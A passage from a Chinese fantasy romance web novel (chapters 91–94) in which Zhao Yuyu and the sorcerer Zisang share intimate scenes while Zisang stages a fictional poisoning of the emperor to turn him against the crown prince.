见形势不对,赵玉屿立刻认怂:“我错了,我不该逗你骗你笑话你。”
她撅起嘴:“现在亲亲还来得及嘛?”
子桑嘴角扬起一抹蔫坏的笑意,黑如点漆的眼眸却愈加得深重,重如夜色:“可惜晚了。”
话休笔落,墨汁浓郁的松油脂香飘入鼻尖。
冰凉的墨汁让赵玉屿打了个寒颤,敏感的肌肤使那一点冰凉被放大数倍,直到覆盖了五感。赵玉屿的思绪独独随着肌肤上的笔尖而游走。
些许的凉,微微的痒,划过后又泛起一片羞热,恍若燎原野火,像是子桑含笑漆黑的眼眸。
她面色微红,原本有些羞涩,也只得撇过头任由他乱来,但飘渺的眼神无意落到子桑画了墨圈的嘴上,诡异又滑稽,她忍了忍,没忍住噗嗤一下笑出了声,而后便笑得停不下来,浑身颤抖到子桑落笔打滑。
子桑诧异:“你笑什么?”
赵玉屿笑得说不出话,指了指他的嘴巴,子桑顿时羞恼:“你还笑。”
他提手就要在赵玉屿嘴上也画上圈,赵玉屿连忙捂着脸尖叫着躲闪,边躲边笑:“我错了我错了,你这个小心眼,不都画过了嘛。”
两人打闹着,无意中将毛笔打落在地,却已无人在意。子桑原是只压着她的腿,而今却按着她的两只手抵在头顶。
这一动作让本就被松散的肚兜岌岌可危,渐渐滑落露出大片雪白的肌肤。
子桑看着眼前刺眼的白,其上落着一只鸓鸟,双头四足,昂首张喙,随着赵玉屿呼吸的起伏状若展翅。
他眼神微黯,在白与黑的强烈视觉冲击下似乎有些晕眩,喉咙滑动,低头吻上那一点睛。
“唔”
赵玉屿身子猛然僵住,对他意料不到的举动惊愕地低呼出声,“子桑大人”
唇间的柔软细滑让他心神微晃,舌尖撩拨不止,赵玉屿想要推开他,但她此时双手都被按住,每一次动弹反而愈加成全子桑。
灼热的气息混糅着冰凉的空气喷洒在肌肤上引起阵阵颤栗,赵玉屿咬住下唇,屏住呼吸,不让自己发出细碎羞涩的声音。
细密的吻接踵而至,直到雪域开满了漫山遍野的嫣
红娇花,子桑才缓缓抬起头。
他双眼迷离如雾气氤氲,俯下身想要吻上赵玉屿的唇,却在即将触及时被少女的低笑打断。
瞧着身下人克制不住的笑声,子桑不解:“你笑什么?”
赵玉屿想要停下笑声却根本克制不住自己,她边笑边颤抖着声音望向子桑满是黑墨的嘴唇:“你,你中毒了哈哈哈哈哈哈”
子桑伸手摸了摸嘴角,指间顿时沾染了大片的墨迹。
他原本嘴边一圈的墨迹早已在揉擦中晕染一团,像是乱笔涂抹的胡子,加上他唇齿间因为吮吸而染上的黑墨,更添了几分滑稽。
见赵玉屿笑得上气不接下气,子桑恼羞成怒,一股脑扑上去堵住她的唇。
“唔”
浓郁的墨香混杂着少年身上的月麟香冲入鼻腔,像是冬日里燃烧的松脂,晕晕沉沉,恍恍惚惚。
一吻既罢,赵玉屿呼吸急促,脸色殷红如朝花,红肿的唇上染着几缕墨色。
子桑修长的手指抚摸着她的唇畔,眼中暗波流转:“如此我们便一样了。”
赵玉屿推开他抱怨:“这下好了,衣服上都是墨迹,让我怎么出门啊。”
子桑瞧着她胸前已经晕成一片模糊不清的墨迹,方才情动时哪里还注意得到那些,早已将肚兜和衣襟都染成了一团黑色,连带着他的衣服也都沾染上了墨迹。
再加上两人凌乱的发鬓和红肿的双唇,旁人一眼便会意他们在殿里做了什么。
子桑倒是无所谓,反而有些得意,但瞧着赵玉屿嘟囔着嘴唇埋怨,他心头一动,眼眸微转间已经含笑吹了声口哨,抱着
赵玉屿出去。
赵玉屿搂着他的脖子:“你干嘛?”
子桑扬了扬眉毛,眼角眉梢都是春色:“身上都脏了,自然要洗干净。”
赵玉屿:“”
隔着肚皮我都知道你打得什么主意!
她晃荡双脚挣扎着要跳下去,小白已经从阁楼上一冲而下,子桑抱着她跳上鹤背,扬起口哨朝温泉池飞去。
半空之中赵玉屿想要从他怀里跳下来,然而小白却飞得回旋颠簸堪比过山车,她只得死命抱住子桑的脖子,心中暗骂肯定是子桑这混蛋故意操作小白玩命飞得晕眩颠簸。
等到落地后,她气得在子桑脸上狠狠咬了一个硕大的牙印。
子桑闷哼一声,这声音却未见痛楚,反而有些病态的兴奋。他抱着赵玉屿浸入水中,温泉水软,很快相贴的肌肤便滚热起来。
子桑贴着她的耳畔细细密密的轻吻,水面雾气氤氲暧昧从生,水下他的手臂却紧紧搂住赵玉屿的腰肢,以防她逃跑。
赵玉屿狠狠拧住他的手臂,子桑痛哼一声,却没有松手,而是低头追着她吻得愈加用力,从耳后到脸颊从嘴唇再到颈弯,像是要将她融入身体里。
两人的身体半浮在水中,衣襟上的墨迹在水面散开,化成一圈一圈模糊朦胧的水中墨莲。
两人之间纠缠拉扯的涟漪很快便打散了墨莲,水汽打湿长发,凌乱的衣襟透明而薄,像是湿漉漉的月光,紧贴在身上描摹出柔软的线条。
赵玉屿捂住子桑的唇:“子桑大人,不行。”
子桑因她决然的拒绝怔住,凝望着她的眼:“为什么不行?”
他们既然彼此心悦,为何不能行鱼水之欢。
是赵玉屿心中还有其他人吗?
子桑想到那张被烧掉的银杏叶,目光冷了下来:“是因为那片银杏叶?”
想到那张银杏叶,他的胸口发闷发堵,扭曲的嫉妒充斥心头,他忍着恨意和酸楚,咬牙挤出几个字:“你在等他吗?”
赵玉屿一愣,好一会才反应过来他说的话,否认道:“当然不是,跟那有哪门子关系。”
见赵玉屿果断否认,子桑的面色缓和些,指腹摩挲着她的腰肢,任然不甘道:“那是为什么?”
他微顿,扯了扯嘴角,垂下眼眸低声道:“因为我是将死之人吗?”
因为他只剩不到一年的时间,但玉儿的人生还很长很长。长到他站在原地望不到尽头,长到她的未来不会有自己的存在。
或者在不远的将来她会爱上另外一个人,洞房花烛,夫妻和美,儿孙满堂,幸福美满的过完一生。
她的记忆绵长如海,很快就会忘了自己,忘了一个短暂出现在她人生中的碎片。
这碎片,裂痕斑斑,丑陋可怖,不值一提。
子桑眼眶微红,抿紧嘴唇,最终松开了紧紧环绕着赵玉屿的手臂。
玉儿没有错,玉儿对他已经足够的好,好到让他失了理智,好到让他忘记了自己卑劣的本貌。
是他自私又贪婪,得寸进尺地想要拉着她一起沉沦。
是他不配。
子桑虽未说话,然而透过渺渺水汽,赵玉屿看到了他眼中的哀婉和自嘲。
水汽蒸腾让她有些头晕脑胀,她摇了摇头:“不是,不是因为这个。我只是只是还不知道如何面对你。”
赵玉屿这些日子挣扎又愧疚,她知道自己喜欢上了子桑,享受着和子桑在一起的每一天,却也清楚的明白这样的日子终究会有结束的那一天。
为了救他不得不攻略他,可故事的结局他们终将分离。
子桑的命运可以逆转,但这个世界没有赵玉屿的存在,她的命运在世界之外。
他们的相遇注定短暂而绚烂,最终以盛大的孤寂落幕。
如果她不能留在这个世界陪子桑度过一生,那在她走后,她对子桑的爱不再是救赎,而是将他推入更深的深渊的凶器。
赵玉屿不能告诉子桑一切的真相,只能难过的看着他越陷越深,走入早已设计好的死局。
这让她该如何面对。
赵玉屿抱住子桑,轻声道:“子桑,你还记得我之前问过你,如果有一天我比你先离开的话,你会怎么办吗?”
子桑皱眉:“不会有那一天的。”
赵玉屿抬头望向他追问:“如果有呢,如果你的人生很长很长,而我,我只有几个月的时间,你会怎么办?”
“不会的。”
子桑抚摸着她的长发,偏执而笃定:“不会有这种事情发生,你会长命百岁的。”
他的话温柔而质朴,赵玉屿眼眶泛红,忍着哭腔道:“那你答应我,如果有那一天,你要好好活下去,要活得自由,活得肆意,去做你一直想做的事情,如风如雨,走过脚下的每一条路,去看世间的每一处风景。”
子桑没想到她还记得自己之前说过的话,目光泛柔,轻笑道:“可是玉儿,没有你我找不到活下去的意义。”
赵玉屿抬起头,抚摸着他的脸:“子桑,我喜欢你。可正是因为我喜欢你,才不愿意看你沉沦其中无法自拔。”
她缓缓道,“不要为了任何人放弃自己,爱是自由,自由不是堕落,殉情不是勇气。你是子桑鸓,是无可替代的子桑鸓。你要先找到自己,学会爱自己,才能真正去爱别人。”
第92章
子桑望向她:“玉儿,你今天有些奇怪。”
他眉头微皱,还是忍不住酸溜溜地确认,“不是为了银杏叶?”
赵玉屿:“”
她伸出小拇指,“你的心眼真是比针尖还小。”
子桑握住她的手,毫无羞恼:“我本来就没那么宽阔的胸襟。”
赵玉屿望向他握着自己的湿漉漉的手,低垂眼眸轻声道:“其实,我就是有些迷茫。”
她未多言,子桑却已道:“我明白。”
他低头,额头抵住赵玉屿的额头,轻柔说道:“放心,一切都会好的。”
他会用尽全力,为玉儿安排好一切。
赵玉屿抱住他:“嗯。”
这一番纠葛,赵玉屿倒是忘记了长生不老药的的事情。直到几日之后宫里传出了消息,圣上居然当真返老还童,容颜似旧,亦如三十年前鼎盛之期,甚是能骑马射箭,摔跤蹴鞠。
传言一出,帝都喧然,朝野震惊。
赵玉屿听到这个消息也有些惊讶。她确信当初在瑶山他们并未带出真正的长生不老药,可这返老还童是如何做到的,难不成子桑当真有神仙之法?
她忍不住好奇,跑去找子桑询问。
子桑彼时正躺在大殿的吊床上悠哉晃荡看着闲书。见她好奇,笑着刚要开口,赵玉屿率先拿糕点堵住他的话:“上次亲过了,是你忘记告诉我了,不能言而无信。”
她瞥了眼子桑怀中的《扶腰录》,就知道他满脑子想得什么黄色废料。
子桑见她不中套,咬了口糕点也不隐藏:“是凤凰蛊。”
凤凰蛊?这是什么东西?
凤凰之意,浴火重生吗?
“凤凰蛊是一种罕见的蛊虫,世间早已失传,唯瑶山才有,便是知道这种蛊的人也极少。这种蛊虫常年生活在冰川之中,可沉寂千年而不僵,一旦遇水便会重获新生,因此亦被称百命虫。”
子桑淡淡道,“服下蛊虫虽然能让人返老还童,青春再现,恍若长生不老,却只是优昙钵花,时一现耳。蛊虫会寄生在宿主体内,附骨食髓,以骨血养育,至多一年,中蛊之人就会像是被吸干的朽木,形容枯瘦,气血全无。”
他从碟子里捡了个橘子,便剥便道:“当初离开瑶山时,我顺手让小白带了出来。”
赵玉屿恍然,这类似于远古时期的寄生虫,身上的某种物质可以短时间内刺激宿主的细胞焕新,从而改变人的外貌和精神,但却是以透支生命为代价。
她有些犹豫:“这会不会太过冒险了。一年以后若是德仁帝当真死了,那太子顺理成章继承皇位”
那不就大结局了吗?
子桑慵懒晃着身子,轻笑道:“那他得能忍到一年再说。”
赵玉屿听出他言外之意:“怎么说?”
子桑坐起身子,面上满是恶作剧得逞的顽劣:“如果你是宋承嵘,忍辱负重多年想要等到老头子死了继承家业,登上心心念念的皇位,结果有一天却发现熬了这么多年都成了个笑话,自己可能比老头子还要先去一步,从小的天之骄子干到死都只能是个太子,你会怎么做?”
赵玉屿了然:“逼宫?”
子桑将剥好的橘瓣塞入她口中:“答对了。”
他想想就觉得甚是开怀,“宋承嵘听到消息,怕是要气疯了。”
瞧着他一脸的兴奋,赵玉屿难免不觉得这计划其中掺杂了他想要气死宋承嵘的私心。
“不过,若他当真忍到底怎么办?”
子桑点了点她的鼻尖:“所以还要加把火。”
他打了个响指,猴大攥着一份写好的金色信件从天而降精准落入赵玉屿怀中。
子桑将猴大拎出来丢掉,重新躺在吊床里晃悠:“瞧瞧。”
赵玉屿接过信件打开一瞧,里面只有短短一行字,却立马明白了他的意思,忍不住咋舌感叹:“真有你的。”
这人认真起来玩弄人心,当真是天下独一份的歹毒。
子桑弯起唇角,伸手撩起赵玉屿垂落的一缕长发,为她挽到耳后:“玉儿想要的,都会成真。”
赵玉屿合上信:“这封信让我去送吧。”
子桑却不愿:“让大嘴鸭去送就行。”
大嘴鸭是子桑养的白鹤之一,因为嘴巴比其他的白鹤要扁些,显得大,像鸭子,所以就被叫做大嘴鸭。
谁能想到一只仙气飘飘白鹤叫大嘴鸭。
不得不说,有时候子桑起名字简洁明了得不顾动物的颜面和死活。
赵玉屿收了信:“我是想顺便去看看淳儿和付姐姐,自从回到帝都就没见过她们,我有些想她们了。”
听到这话子桑更是嫉妒得面目扭曲,猛然从吊床中坐起身子:“不准去!”
吊床本就被他摇得晃荡,他又起得太急未稳住身子,吊床一下子翻了过来,将他甩到地上结结实实跌了个屁股蹲。
赵玉屿:“”
她连忙忍着笑扶起子桑,“没事吧。”
子桑捂着腰,抱住赵玉屿虚弱道:“玉儿,我腰好痛,定是受了重伤,你得好生照顾我。”
赵玉屿抽了抽嘴角:“别装模作样的,你摔得分明是屁股!”
子桑嘴硬:“屁股也疼!”
见他装傻充愣,赵玉屿无奈:“我就去瞧瞧淳儿和何姐姐,又要不了多久,当日就回来了。”
子桑仍然不愿意:“外面都是宋承嵘的人,很危险。”
赵玉屿对他拙劣的借口笑出了声:“这里是帝都,我光明正大的出去,若是宋承嵘敢对我有半点不轨,就是在与圣上作对,他就是再恨也没这个胆子啊。”
见劝说不动赵玉屿,子桑转而道:“你若是想见她们,我倒是有个法子。”
“什么法子?”
“马上便到我的生辰,到时候帝都权贵都会入奉仙宫祝寿,写封信让何附子带着那个小蠢货进宫不就能见到了。”
这主意倒也不错,可是若宋承嵘也来,不就容易和何附子撞见吗?
那可不行,太危险。
赵玉屿摇头:“我不喜欢宫宴,一群人假笑一晚上,菜也吃不了多少,还不够累得慌。”
子桑又道:“到时候会有鹤羽百花车游街,帝都上到达官贵族,下至平民百姓皆要迎车。”
“花车游街?”赵玉屿“嚯”了一声,“你这排场可是比皇帝都大。”
子桑懒懒道:“何附子她们也必定会去,到时候你同我一起,也能瞧见蠢东西。”
这倒也行。
赵玉屿应下,子桑从她怀中抽出金信,丢给猴大笑道:“这个还是让大嘴鸭去送吧。”
他靠在赵玉屿身上低声道,“玉儿,我身上疼,你帮我揉揉。”
赵玉屿瞧着他故意撒娇的模样,假装探察他的伤:“哪里疼,这里吗?”
她问着话,伸手朝子桑的腰偷袭而去,子桑怕痒,连忙扭身躲开,赵玉屿笑得追着他挠:“还疼不疼,让你装,让你装。”
子桑躲闪不停,见赵玉屿不放过他,转身反守为攻朝赵玉屿腰间挠去,赵玉屿一时没反应过来,被他将了一军,尖叫一声格格笑得想哭。
两人扭作一团,赵玉屿连连认错饶命,子桑压着她问道:“还欺负我吗?”
赵玉屿轻哼:“明明是你先骗人。”
她揪住子桑的衣襟,垂眸望着他的唇道:“你过来点。”
子桑心中一动,顺从的低下头朝她吻去,临了却被赵玉屿张口咬住唇瓣。
他吃痛,惊得瞪大眼睛,赵玉屿已经松了口,脑袋朝前一顶撞上他的额头。
子桑没有防备被偷袭个正着,捂着脑袋朝后仰去。
赵玉屿趁他不备一把推开他起身就跑,到了门口才敢朝他回身做了个鬼脸:“让你欺负我!”
*
夜风寒凉,东宫内寝的窗台却依旧大敞。
宋承嵘披着长毯靠在窗边的小榻上,仿佛丝毫感受不到灌入窗台的冷风,面无表情盯着正对窗台的那棵常青松,本就因为受伤而苍白的面色阴沉如水。
一旁的贴身侍卫端上火腿海鲜粥轻声劝道:“殿下,您已经一天没吃饭了,用些粥吧,您的伤还没好呢。”
“殿下。”
宋承嵘喃喃唤着这两个字,苍白无力地嗤笑一声,仿若听着一个笑话。
他的双脚被包扎成茧,未愈合的伤口依旧泛着刺骨痛意,却比不过心中的荒凉。
袅袅丝竹乐耳透过高高的宫墙飘来,宋承嵘抬头望向窗外的一轮清冷明月,缓缓问道:“父皇今晚兴致不减啊。”
刘焕低声回道:“是,圣上今晚又召了几名舞姬入殿,怕是得天明方休。”
宋承嵘闭了闭眼有些疲惫:“返老还童,雄风重振,自然得意。”
刘焕道:“圣上欣喜,难免有些放纵。”
“父皇也算是心想事成了。”
宋承嵘伸手接过粥,捏起勺子搅拌徐徐而言:“孤原是不信这长生不老药的,以为只是神鬼欺世之说,如今看来倒是孤错了。”
刘焕安慰道:“殿下正值壮年,春秋鼎盛,无需借鬼神之术延续青春。”
宋承嵘苍白一笑,自嘲道:“可孤瞧着,如今父皇倒是比孤还要年轻。虽是父子,形如兄弟。”
刘焕未敢接话,宋承嵘叹了口气,将碗递给他淡淡道:“退下吧。”
刘焕看着一口未动的热粥,知晓太子已无心思食用,只得依言垂首退下:“是。”
他走到门口,扭头回望了一眼烛火昏黄的大殿,心中也有些寒凉。
太子殿下舍命负伤为圣上求得丹药,圣上却未见得丝毫关怀,而今更是夜夜笙歌,似乎已经将这个平日里最为器重的儿子遗忘在这座冰冷的宫殿中。
若圣上万岁,那太子这一人之下万人之
上的位置便成了可笑又尴尬的摆设。
第93章
“圣上,奴家在这儿呢~”
“圣上快来抓奴家啊~”
“奴家在这~在这呢~”
承乾宫内轻歌曼舞,暖香四溢,乐官们吹拉弹奏,曲乐飘摇,年轻的女孩们旋着舞步在殿内嬉笑躲闪,连连欢笑。
德仁帝双眼蒙着绸缎,只着里衣,赤脚踩在羊绒方毯上伸手醉醺醺的摸索。
少女身上浓郁的香味伴着衣衫掀起的微风飘过,德仁帝耳尖微动,如猛虎扑食朝东面扑去,顿时将一个姑娘搂在怀中。
他摘下眼罩,瞧见怀里面色娇红含羞的姑娘,顿时哈哈大笑,打横抱起她朝龙椅走去。
其他姑娘也纷纷追着他卧坐在龙椅下的长毯上叽叽喳喳哄闹不停。
“圣上真厉害。”
“圣上是如何知晓咱们的位置?”
“是啊是啊,圣上,您为什么总能抓到咱们?”
德仁帝得意笑道:“朕年轻时可是纵横沙场,死人堆里爬出来的,这听力视力自然比旁人都要灵敏些,抓住你们还不是轻而易举。”
德仁帝有些感慨,这些年年华逐渐老去,他能感觉到曾今引以为豪的一切都在随着时间的流逝而不断逝去。
他逐渐消失的听力,他松弛枯皱巴的肌肤,还有虚弱多病的身体,即使手握大权却渐渐力不从心,身处高位依旧惶恐。
他整日忧愁,如何挽留逝去的江水。
而今,而今他的祈盼总算有了回响。
他感到身体充满了活力,如同眼前这些年轻的女孩们一样,拥有着旺盛蓬勃的生命。
而且这份活力将永恒不变,他与大雍的江山并存。
德仁帝志得意满,接过舞姬奉上的酒一饮而尽。
怀中的娇媚的舞姬揉搓着他的胸口娇声道:“圣上,奴婢为圣上献舞一曲~”
德仁帝一拍她的大腿,丢下酒杯大笑道:“好!”
舞姬旋身灵活得从他怀中逃出,众女纷纷云步轻挪走到大殿中央落定,丝竹声起,婀娜身姿如烟如雾,勾人心魄。
德仁帝坐在龙椅中望着大殿中央飞天身姿的舞女,连连叫好。
一舞即罢,舞女们跪地齐声祝祷:“圣上万寿无疆,福与天齐。”
“好好好,赏!都赏!”
德仁帝大悦,他大笑着站起身子想要走上前,却在起身那刻突然感到腹部一阵剧痛,浓郁的凉意涌上喉咙,不受控制的贯涌而出。
浓郁的血腥味充斥口鼻,德仁帝低头望向衣襟,黑如漆墨的浓血将明灿的黄袍染成无边夜色。
德仁帝感到一阵晕眩,口吐黑血不止,跌跌跄跄扶着椅把跌落在龙椅中。
舞女们被眼前骤然的惊变吓得面色苍白,慌成一团。
“圣上,圣上您怎么了?”
“太医,快传太医!”
*
一点幽香袅袅浮动,许士君轻声问道:“赵太医,圣上如何了?”
赵太医收了手,朝床榻上形容枯槁,面色铁青双唇乌紫的德仁帝回禀道:“圣上所中之毒名为融水散,此毒乃是剧毒,无色无味,遇水即溶,一旦入口发作极快,十个呼吸间便会毒发。好在圣上常年服用丹药,身强体健,又及时施针,已将毒素排出一部分,只是圣上体内尚存部分毒素,若是无法及时清除余毒,恐怕不出一夜,毒素便会深入肺腑,怕是时日时日”
他叩首在地,不敢多言。
许士君急切道:“徐太医,您医术高超,经验丰富,您得想想办法啊。”
徐太医也满脸虚汗,为难道:“此毒歹毒之处便是在此,寻常解毒之法都是先将大部分毒素排出,剩下残存的些许余毒在人体内可自行吸收排出,只要好生调养便不会危及性命。可这融水散极为古怪且无色无味极难发现,一旦沾染上,即便只有一滴,那毒素就像是钻地的蚯蚓般在体内游走,仿佛被血脉滋养迅速生长,即便催吐排毒,但只要尚有一丝余毒在体内,不出一日,毒素就会遍布全身,浑身鲜血成浓黑,所以民间又称为染血散,此毒,无药可解,臣等实在无能为力啊!”
“咳咳”
许士君听到声音,连忙朝床铺间探去:“圣上”
德仁帝强睁双眼,嗓音嘶哑断断续续道:“去求求神使神使乃是天人,必定能能救朕快快去!”
许士君连连应下,正待转身退下,德仁帝却又忽然喊住他,强撑起身子,喘着虚气道:“那些舞女尽数处置,别,别让任何人知道今晚的事,包括包括太子!”
许士君听到这话心中一震,而后垂首应下:“是!”
然而许士君离开,德仁帝便听到殿外传来的焦急呼喊。
“父皇,父皇您怎么样了?”
宋承嵘双臂架着拐杖跌跌撞撞冲入殿中,望向躺在床铺上面容惨淡的德仁帝,一扔拐杖扑倒他床边惊呼:“父皇,您怎么了!”
德仁帝气息微弱,艰难扭头望向眼前双眼含泪、满面痛心的儿子,神色复杂,临了嘶笑了一声,不知是欣慰还是自嘲:“礼儿,你来得真是及时。”
宋承嵘眼中微闪,依旧一脸哀痛:“父皇,你分明身体硬朗,怎么会突然如此!”
德仁帝抬起眼皮,望着他包扎成茧的双脚,气若游丝:“礼儿,脚还痛吗?”
宋承嵘一愣,而后摇头,泣不成声:“父皇,儿臣不痛,为父皇分忧是儿臣的本分。”
德仁帝微微颔首:“朕说过,你是朕最器重的儿子,这天下日后必定是你的。明日起,便由你替朕主持朝政。”
宋承嵘含泪望向他,哽咽道:“父皇。”
德仁帝叹了口气,用尽全力揉了揉他的头,气若游丝:“去吧,让父皇好生歇歇。”
宋承嵘垂首泣下:“是。”
回到东宫,刘焕搀扶着宋承嵘低声道:“恭喜殿下,圣上将监国之位交于殿下,可见器重殿下。”
宋承嵘却声音低冷:“之前又不是没交过,圣心难测,是付是收不过是父皇一句话的事。”
他坐在长椅上,眉头紧皱:“刘焕,你不觉得今晚的事太过奇怪了吗?”
“殿下是说圣上中毒一事?”
“父皇刚刚返老还童,就有人在此时要毒害父皇,这时机会不会太巧了些。”
刘焕低吟:“殿下的意思是”
“若是父皇在此时驾崩,那得利的人会是谁呢?”
刘焕愕然:“自然是殿下。”
太子乃是东宫之主,其他皇子根本无力与太子争锋,若是圣上驾崩,太子继承大统乃是顺成天位,无所指摘。
宋承嵘面色沉然,父皇见到他时说得那句话,怕是已经怀疑此事是他所为。
舞女已经被杀,承乾殿封锁了消息,若非他在承乾殿布下眼线,到现在都应还不知晓此事。
如今他最先前去,反而更证实了他提前知晓毒杀的消息。
刘焕却依然不可置信:“可,可是谁要出此毒招要害太子殿下?而且,没有理由啊。”
融水散乃是剧毒,入口无解,下毒之人看来势必要取圣上性命,的确,圣上驾崩此事诡异,会让人怀疑太子为得位不择手段。可若是圣上驾崩,能登基的也只有太子。
下毒之人没理由做这种对自己毫无利处的事情。
“难道是南蛮人?或是北奴?”
想要大雍朝堂不稳,趁机发动战事?
宋承嵘摇了摇头:“不论是谁,重要的是父皇能不能熬过今晚。”
他摩挲扳指,沉吟片刻,下定决心当机立断道,“刘焕,传孤口谕,即刻派人封锁皇宫,任何人不得出入,对外散布消息,父皇服用长生不老药后毒发,派兵包围奉仙宫。”
刘焕:“是!”
他刚要转身离开,忽而宋承嵘喊道:“等等!”
刘焕不解,就见宋承嵘死死盯着窗外,目光阴翳。
窗外的夜空中,一只白鹤衔盒而飞,于黑夜中划破天际落入承乾殿的方向。
宋承嵘忽而双目猛睁:“糟了!”
第94章
是他!
定是他要报复,所以才设局做的这一切!
如此一切都说得通了,除了那个人还有谁!
从他高调骄然得回到帝都那天起,就是在向自己宣战!
宋承嵘猛然将桌上的东西一扫而下,咬牙道:“简直是个疯子!疯子!”
刘焕惊愕地看着他发泄怒意:“殿下”
宋承嵘颓然靠坐在长椅中,疲惫道:“刘焕,来不及了。”
子桑为了报复他,居然能疯狂到给父皇下毒,可这说出去谁人能信?
他方才想过用长生不老有毒来将一切推到奉仙宫身上,但那是在父皇回天乏术,自己顺位临朝之时铲除奉仙宫才能有的说法。
可若是父皇还在,如何能相信他信奉多年且刚送来长生不老药的神使会下毒谋害他。
毫无理由。
而身为太子的自己想要弑父的理由却无比充足。
经此一遭,父皇定会怀疑他居心叵测,想要弑父夺位。
宋承嵘额头发疼,他辛苦守了多年的太子之位,难道就要就此被剥夺,假手于人了吗?
不,不行!
他放弃了附子,放弃了一切隐忍多年才得到的太子之位,如何能就此罢手!
宋承嵘阖眼沉思,而后睁开眼沉声吩咐:“去准备匕首。”
这一局他绝不能输。
*
承乾殿内,德仁帝抖着手渴求得饮下仙鹤呈上的丹药,顺了口气,朝仙鹤颔首感激:“多谢神使赐药。”
仙鹤昂颈高唳一声,而后展翅离去,洁白的羽翼在月光下犹如流光飞逝。
德仁帝艳羡得望向仙鹤久久不语,许士君扶着他重新躺下。
没一会儿,德仁帝便发了一身的汗,那汗渍却是浑浊团黑,仿若从体内钻出的黑色小虫,不一会儿便将衣衫全部洇湿。
许士君神色惊讶,关切道:“圣上如今感觉如何了?”
德仁帝长舒一口气,捂着肚子笑道:“这药一入胃,便觉得丹田滚烫浑身发热,出了一身的汗,身子倒也舒服些。”
许士君连忙唤来太医,徐太医为德仁帝把脉后,也满脸惊异。
“这,这脉象平和,全然不似中毒之象,应当是体内的余毒随着汗液尽数排了出来。只是圣上吐血过多身体虚弱,需要静心调养。”
他忍不住感叹,“微臣从医多年,从未见过能治融血散之药,此乃神迹啊!圣上有神明护体,此乃圣上之福,天下之福啊!”
德仁帝听到这话很是受用,心中也舒坦不少,颔首欣慰又感激:“神使又救了朕一命!”
浑身已被汗浸湿透,德仁帝身子舒坦些,有了力气起身。许士君便唤来宫女倒水沐浴,为德仁帝换了身新衣裳。
正待入眠,殿外值夜的御前侍卫入殿禀报:“圣上,太子殿下求见。”
德仁帝听到这个名字神色便冷了下来:“他来做什么?”
侍卫回禀道:“太子殿下说他前来送药。”
德仁帝眉头微皱,还是道:“让他进来。”
“是。”
不一会儿,德仁帝就见宋承嵘被人背了进来,面色苍白,看着比德仁帝还要半死不活。
德仁帝一惊,望向宋承嵘手臂上包裹得白布:“礼儿,你这是怎么了?”
宋承嵘苍白一笑,从刘焕身上下来,艰难跪地:“父皇,儿臣来给父皇献药。”
一旁的小太监将漆盒打开,里面是盛着浓郁鲜血的瓷碗,其中还飘浮着一块碎肉。
打开盒盖的瞬间,血腥味顿时充斥内殿。
宋承嵘唇色如纸,晕晕眩眩跪地叩首:“儿臣曾听闻,以血为引,割肉入药可以治百病解百毒,还请父皇莫要嫌弃。”
德仁帝望着漆盒中满满一碗快要溢出的鲜血,原本漠然的神色也有些松动,撑起身子,伸手扶起宋承嵘,却不小心捏在他的胳膊上。
宋承嵘身子一僵,闷哼一声,胳膊上包扎的白布顿时洇出一片鲜红。
德仁帝眼眸微动,松了手叹气道:“礼儿,你这是何苦呢?”
宋承嵘虚弱一笑,哽咽道:“母后早逝,儿臣自小便只有父皇。只要能让父皇身体安康,便是赴汤蹈火儿臣也甘之如饴。”
德仁帝听他提及先皇后,望向他愈加惨白的唇色,最终叹了口气,扶着他缓缓道:“起来吧。”
“多谢父皇。”
宋承嵘强撑着一口气站起身子,却脚下不稳摇摇欲坠。
刘焕连忙扶住他:“太子殿下,您的脚伤未愈,而今又割肉放血,怕是身体太过虚弱。”
宋承嵘轻咳两声,又朝德仁帝双手作揖行了一礼:“父皇见笑,只是儿臣的身体如今怕的确不适合打理朝政,让父皇失望了。”
德仁帝虚抬了抬手:“无碍,礼儿诚心动天,朕如今身子倒是大有好转,便准你这些日子好生在宫里静养。”
宋承嵘面上大喜:“谢天谢地,父皇洪福齐天,无事便好!多谢父皇体谅,那儿臣就先行告退了。”
出了承乾殿,刘焕背着宋承嵘走在漆黑的宫道上,忍不住问道:“圣上既然已经不再怀疑殿下,殿下为何还要主动退朝。”
宋承嵘淡淡道:“父皇疑心深重,上次刺杀使团一事虽然轻放而过,但并不代表他不再怀疑孤。这次毒杀一事,定是神使想要离间孤和父皇的父子之情,让父皇更加疑心孤,这时候孤唯有主动退让,放弃唾手可得的权力才能让父皇打消疑心。否则,这太子之位怕是今晚便做到头了。”
刘焕低赞:“殿下深谋远虑。”
宋承嵘却淡淡道:“便是再多的谋略,性命不照样掌握在旁人的一息之间。”
一人之下万人之上,不过是权衡利弊的工具。
这世上,从古至今,从来只有万人之上。
承乾宫内,许士君瞧着那碗浓腥的血肉也有些瘆得慌,朝德仁帝请示。
“圣上,这碗血药该如何处置?”
德仁帝瞥眼望向那碗血,忽而问道:“许士君,你觉得今晚这毒是谁人所下。”
许士君顿时惶恐:“这,圣上,老奴不知。只是老奴斗胆猜测,这毒既然是下在酒中,又是教坊司的舞女呈上,想来是那些舞女中有人蓄意谋害圣上。”
德仁帝语气冷淡:“你说得没错,教坊司混入刺客企图毒杀朕,其罪当诛,就交给黑甲卫处置吧。”
许士君垂首:“是。”
他望了眼血碗,“那这血药”
“倒了吧。”
“是。”
*
奉仙宫内殿之中,赵玉屿在窗口接过白鹤口中衔信,拆开后扫了一眼,转身朝子桑道。
“圣上已经无恙,向你道谢呢。言辞之恳切,感人肺腑,就差给你磕头了。”
子桑打了个哈欠,看也没看将金信揉成一团丢掉,抱住赵玉屿道:“太晚了,哪至于等消息到现在,睡吧。”
赵玉屿抵住他的胸膛,笃行道:“是你下的毒。”
当初她看到子桑写给德仁帝的金信,上面只道,仙丹虽可保长生不老,青春永驻,却不敌刀锋之利,蛊毒之烈。
分明是特意引起德仁帝疑心,提防刺客,又将自己的嫌疑最先摘了出去。
而今便出了中毒一事,德仁帝自然会联想到最大
的受益者宋承嵘身上,以为宋承嵘是因为自己长生不老而急了眼,想要弑父夺位。
子桑眼皮耷拉,困倦轻嗯:“老东西怕死得很,经过这一遭,对宋承嵘的防备只会更重。而且这次也是给他的警告,别以为得了长生不老就可以高枕无忧,没了我,他照样会死。”
一石二鸟,既保证了德仁帝对子桑的依赖和信任,又离间了德仁帝和太子的父子之情。
厉害。
赵玉屿无奈:“你也真不怕玩出岔子,万一用毒过量,或者太医去晚了,圣上当真死了,我看你怎么办。”
子桑撩起她的长发,扬唇一笑:“用量我自然有所斟酌,可保他活到给我传信。”
